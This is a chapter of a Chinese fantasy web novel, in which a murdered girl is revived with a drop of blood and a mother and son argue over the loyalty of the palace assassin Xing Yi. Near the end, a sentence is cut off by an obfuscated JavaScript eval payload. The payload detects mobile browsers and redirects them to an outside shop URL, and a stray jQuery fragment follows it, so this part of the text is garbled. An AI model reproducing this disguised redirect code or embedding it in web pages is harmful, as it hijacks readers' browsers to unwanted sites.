17.余琼
作品:《反派?那也得冲业绩!》 赶回云宫门前,已经不见白骑士的身影,以往就连白日都严肃寂静的宫门,此刻却叽叽喳喳热闹的很,是一些脸生的士兵。
是夜宫的人。
“出什么事了?”兰可察觉到不对劲。
“傀儡。”身后,纷乱的脚步声中,一个熟悉的声音回答她道:“住宅区今晚进了傀儡,被雷司亲手抓住的,因为这事,圣殿里热闹了一晚上呢。”
罗新的从后面冒出来,蔫蔫的伸了个懒腰,打着哈欠走上前:“不用去了,紧急会议已经结束了。”
听到是刺客,兰可又气又奇:“又来?”
罗新挑挑眉,没忍住笑出了声:“傀儡快成云宫特产了。”
“余琼亲手抓住的?”提到雷司,兰可总是表现的异常敏锐,一下抓住了重点,问:“戒律殿和住宅区大半个云宫,是有多厉害的傀儡,需要余琼亲自去抓?”
“除了傀儡,当然还有更重要的东西。”罗新神秘兮兮的,因为低了声音说:“017的尸体。”
“……017?”兰可听到这三个数字反应了几秒,然后骤然暴起:“你说什么?她死了!”
莫求仙不明所以:“谁?”
人类死在了以守护人类为目的而存在的天国。听上去像罗新编出的笑话,事实上,也只有罗新一个人还笑得出来。
“小声点,你想人尽皆知吗。”罗新扫了星乙一眼,接着走到他身边陌生的小女孩面前。笑嘻嘻的弯下腰:“怎么死了一个,又补上一个?”
莫求仙边瞪着他便朝后退,罗新却抬手抓住了她的辫子,粗暴的把她扯回自己眼皮底下:“躲什么。”
她脑袋像皮球一样被罗新拍了拍,罗新手上抓住她被编成长长蝎子辫,金黄头发洗干净后耀眼无比,尤其是和星乙站在一起,更是界限分明。
“该怎么办。”兰可打开他的手,把莫求仙从罗新手里抢出来,着急的问:“圣殿商议出解决办法了吗?”
罗新还是在看着莫求仙,不过没有了往常的嬉皮笑脸,而是拿一种极其认真的眼神看着她,快要把他看出一个洞。嘴上还在回着兰可的话说:“还能有什么办法,只有启用天国的密宝,复活药水了。”
天国宝物众多,但“复活生命”的药水,只有仅仅三支。
不等他说完,星乙抓着兰可一个箭步就往圣殿冲去,甩下了莫求仙和罗新大眼瞪小眼。
“名字。”
“莫求仙。”女孩说。
罗新点了点头,忽然又笑了,“挺好的名字。”
一路上云宫内掌灯长明,白如初昼,到处都是议论纷纷。兰可追在星乙身后,跟着他火急火燎的朝前跑,两人雪白的制服在墓园被打的破烂不堪,流浪汉一样在长廊狂奔。
“小心!”
拐角突然出现一个人影,兰可一个急刹车差点脸着地摔下去,幸亏被人及时拉了一把。兰可立刻认出来人:“长官!”
“你们这样去圣殿?”
一个不轻不重的声音,成功拦住了两人脚步。男人简衣夜出,碧绿的眼睛里满是疲惫却露出其中肉眼可见的温良如玉。
正是九司之首,兰可的直系上司,天国戒律殿行刑官——雷司余琼。
星乙在一旁微微鞠躬。
作为左右天王亲生的的第一个孩子,余琼有和母亲一模一样的金发碧眼,甚至连尤渚正经时的神态气质都如出一辙。
两个少年见是提前回国的余琼,顿时松快下来。一个安静着退到一边,一个异常惊喜,叫道:“好久不见。”
余琼笑的和蔼可亲:“嗯,好久不见了。”
他解下披风给星乙,递给他,勉强把他被划的破破烂烂的衣裳遮住了。他转而对兰可道:“你先回去,把这几年B级以上的案件明细整理给我。”
尤渚的召见,星乙一定要在场,兰可却不必要。
兰可不放心的看了他一眼,见对方低着头不知道在想什么,白披风的褶皱下手握成拳,好像即将面对的不是一场刺杀案,而是大厦将倾的危险。
“崔玥临死前,在戒律殿给我留了一封信。”余琼带着少年走在云砖铺成的宫道上,头也不回的说。
把兰可支开,一定是有话要单独和他说,不过没想到会是崔玥。星乙调整着呼吸,不远不近跟在他后面。
“我可以告诉你,崔玥为什么被迫加入乌盟。”余琼语气很温和,虽然有意无意之间散发着压迫,但没有刻意给他难堪。只是平淡的讲:“她原本是夜宫的人,但被我母亲抓到和魔界首领交易的证据,为了活命,她不得已只能加入乌盟,在暗处继续为我天国卖命。”
“她是被迫的,你也是。”余琼说:“但她是罪有应得,你却是个受害者。”
“她给我的信上说,希望我能帮你离开镜都,离开我母亲的身边,重新开始生活。”
他说着,星乙听着,但也仅仅只是听了。
几步路马上到了圣殿门前,路过四神像面前,余琼问他:“你想离开乌盟吗?”
一般人,肯定会回答想。
但星乙没有回答。
余琼知道这就是他的回答,但还是静静等着他,或许是在期待他改变主意。一直到两人停在了透着一条光缝的大门前,余琼终于转过身,郑重的看着他:“还是说,真的和崔玥说的一样,你被我母亲驯化成了一个没有思想的傀儡。”
傀儡吗。比狗好听多了。
可惜,崔玥并不知道我加入乌盟的代价,也不会在你面前为我说好话。余琼,你的谎言太拙劣了,你把我当白痴吗?
星乙上前一步,在余琼那双和右天王难分你我的眼睛的注视下,抱着旁人无法理解的坚定,推门而入。
圣殿中央地板上,赫然摆着一具女尸。
017死状很惨。
被挖掉了心脏,被发现的时候已经死了很久,蜷缩成一团,双手死死掐着脖子,好像是自己把自己活活掐死的。
“在屋子里死的,好多天了。”尤渚见两人进来,招招手说:“如果不是云宫法力充沛,恐怕已经腐烂成泥了。”
星乙点头。
“都臭了。”
尤渚可能没见过017不那么新鲜的尸体,语气不平:“爬满蛆了。”
“不是天人,用的却是一样的手法,星乙,你怎么看?”余琼问。好像一路上没跟他说过任何话,语气没有任何变化。
星乙:我觉得凶手是在刻意扰乱他杀人的规则,鸿源和017的心脏不是他需要的东西,不过是为了迷惑我们。
天王看了星乙一眼,说:“可能有两个人,一个是连环案的真凶,另一个把自己的罪行推给前者。”
“这些不说,当务之急是要把017复活,赶紧把她送回该回的地方去。”余琼打横抱起017的尸体,毫不在乎那无法忽视的臭味,和天王瞳色相同的眼睛清澈明亮,带有淡淡的忧心。
“她没有心脏,复活药对她是不起作用的。”尤渚看向一旁脸色平静明显走神的少年,唤他回魂:“星乙!”
星乙眨眼瞬间清明,去摸身上,刚才还在手上的瓶子早就不知道滚丢到什么犄角旮旯里去了。
可惜里面还剩了一两滴,白白浪费了。
他一扫四周,在他进来之前,所有有关的无关的人都已经被赶了出去,眼下只剩余琼,尤渚和自己,才勉强放心。
星乙右手中食两指合拢,在左手掌划过一道,短短的指甲撕开掌心一道裂缝,过了很久,鲜血才好不容易落下一滴。
他将手掌悬在尸体心口上方,一滴血分毫不差掉进那个黑窟窿。
只要一滴。
星乙连忙反转手腕,好像稍晚一秒,他全身的血液就会从掌心流干。
血滴进了017心脏位置的红洞里。
顷刻间,肌肉鼓动,一颗完好和心脏和皮肉一起填平了她的心窝。
仅仅两滴血,星乙却好像忽然油尽灯枯,脸色瞬间白了下去,青灰色浮上脸颊,连呼吸都变得很费力。
余琼连忙扶他蹲下,从随身的药包里倒了些白色的药粉到他伤口上,面粉一样的粉末凝固在流血的位置,像一层白色的痂,瞬间堵住了出血。
“没事?”余琼问。
星乙摇摇头,又点点头,再摇摇头。
余琼失笑:“真的没事?”
星乙笃定的摆了摆手,看不出是要余琼快走别管他,还是真的没事的意思。
余琼抱着人往外走,星乙突然拦住他的去路。
星乙:我带她去。
余琼顿了一下,他看不懂星乙的手势,习惯性的看了一眼星乙肩膀,发现那里居然空无一物,顿感不妙。问:“红羽呢?”
星乙指指他怀里抱着的死人,手指戳了戳脖子,摆摆手。
和017一样,红羽死了。
“被傀儡偷袭的时候,出了意外。”罗新从大殿外走进来,说:“星乙的意思是,017是他带来的,出了意外,肯定要他自己来弥补,所以这起死回生药,还是让星乙去跑一趟吧。”
天人有两颗心脏,少了更重要的灵心,剩下一颗活人心照样可以活命,不过那样就失去了永生,剩下不过千年的寿命,死后消失的无影无踪。
人类有一颗心脏,寿命短暂,却朝朝轮回,永不停歇。
起死回生药,是圣者留下的法宝之一。
只有三瓶,被药司命藏在天国的角落里,就连两位天王都不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067570|194639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道。
“让星乙去吧。”尤渚捂着口鼻,看上去马上就要吐了:“赶紧把她弄走,我还有事和你说。”
余琼嘴角动了动,还没说什么,星乙已经抢东西一样扯过017,扛到了肩上。
“你……”余琼犹豫间伸出的手被罗新一把按下去,罗新隔在他和星乙之间:“大长官,你就让他去吧,017最喜欢的就是星乙了,等她醒过来第一眼就看见星乙,一定能安心。不然谁知道这个疯丫头还能干出什么荒唐事啊……”
“好吧,”余琼松了手,说:“不过,趁她没醒,一定要让药司把她脑子里关于天国的记忆全刮下来,然后赶紧把她送回人界去,不要留她再在这里胡闹了。”
星乙颠了颠背上的尸体,017的尸体张开了嘴,一股不可言喻的液体扯着丝流下来,气味弥漫的更可怕了。
余琼不好意思的捂住了鼻子,退了半步。
星乙立刻动身,整个人面不改色,好像根本闻不到任何味道。
等他转出殿门,罗新也跟着告辞。余琼和尤渚齐齐放下手,动作一致的在脸前扇着风,试图驱散臭味。
母子二人,百年未见,是常态。
余琼沉默半晌,说:“他刚到你身边的时候,连撒谎都不会,这才多久,他个子长高了,歹毒的心思也高了,你这么助纣为虐,早晚会让他自食恶果。”
“星乙做事是会留余地的。”
“什么余地?因为知道我们不会不顾017死活,所以放心大胆的杀人,来骗一口起死回生药吗,这就叫余地?”
尤渚抬起手,五指张开。
大殿的窗户瞬间大敞,白色拖地纱帘漫天飞舞,曼妙洁白。
阳光照亮每一个官员的位置,他们脚下的地板随着窗帘的上下浮动,白光暗影,不停交叠。
“你还记得你姐姐小时候吗?遥夏小时候天天给我闯祸,那我那段时间口袋里得常备降压药。”尤渚抬起脸,目若寒霜,直视长子的面庞:“谁能不犯错呢?”
她笑了笑,瞬间冰雪消融:“星乙毕竟还是个小孩子呢。”
余琼年轻的脸上写着一种直白的固执,知道无法改变母亲的想法,他就不会多做无用功。
“好了!大正经!”尤渚突然跨步上前,捧住大儿子的脸,使劲揉了揉,带着点恨铁不成钢的埋怨道:“这么长时间不见妈妈,一点都不想妈妈吗?还为了不相干的人和妈妈顶嘴!”
余琼呆了呆,再也冷不下脸,识相的不再继续这个话题了。
他们一家五口总是聚少离多,他也不想一见面就惹尤渚不高兴,何况他本就不是特别愿意插手别人的事。尤其是尤渚的事。
“星乙的事,是他自己的事。”尤渚最后声明这一点,才把手从他脸上放下来,说:“等他回来,他会第一时间来见我,和我解释的。”
尤渚脚步生风,快要跨出圣殿时,余琼又叫了她一声。
右天王诧异的回过头,就被余琼揽在怀里轻轻抱住了。
感受到余琼放在他肩膀上的重量和他沉重的呼吸声,似乎已经十分疲惫,尤渚轻叹着摸了摸他的脑袋,问:“累吧?”
余琼点头:“有一点点。”
尤渚一边理顺他浅金色的头发,一边觉得儿子的话很有意思。她还从没听余琼抱怨过工作的辛苦,在所有人印象里,雷司是铁打的,不用旁人说,他总是自律又游刃有余的。
尤渚:“累了就好好休息,工作做不完就让他们……”
“是有一点点想你!”余琼打断她,声音很低:“父亲让我转告你,他也很想你。”
尤渚愣了愣,欣慰的笑了笑,“我也是。”
余琼松开她,无奈叹了口气。接着拨开她的手指,把一个红宝石和金子做成的戒指放在尤渚手心,轻声说:“尸体里拔出来的。”
“母亲,你居然把这样的人放在身边,不怕有一天他背叛你吗?”余琼说:“他今天敢杀了017,明天就敢杀你,你忘了你脖子上的伤是怎么来的吗?不也是因为对人没有戒心,才险些丧命吗?”
“好了,这件事,就让它过去吧。”尤渚满不在乎的摆摆手:“每次都要提这件事,好啰嗦啊你。”
“让他走吧。”余琼严肃认真的说:“就算他真的对您忠心耿耿,但让一个一旦暴露就会被人人喊打的异族人待在天国,于他而言也是种折磨不是吗?”
“但星乙是自愿效忠于我的哦。”右天王冷笑了一下,将戒指抬手一抛,“好歹也是我带大的孩子呢,他可比元祈孝顺多了。”
余琼不再多劝什么,只是皱眉道:“这是最后一次,如果他再胡来,我一定……”
“一定什么?”尤渚抬眸看向他。

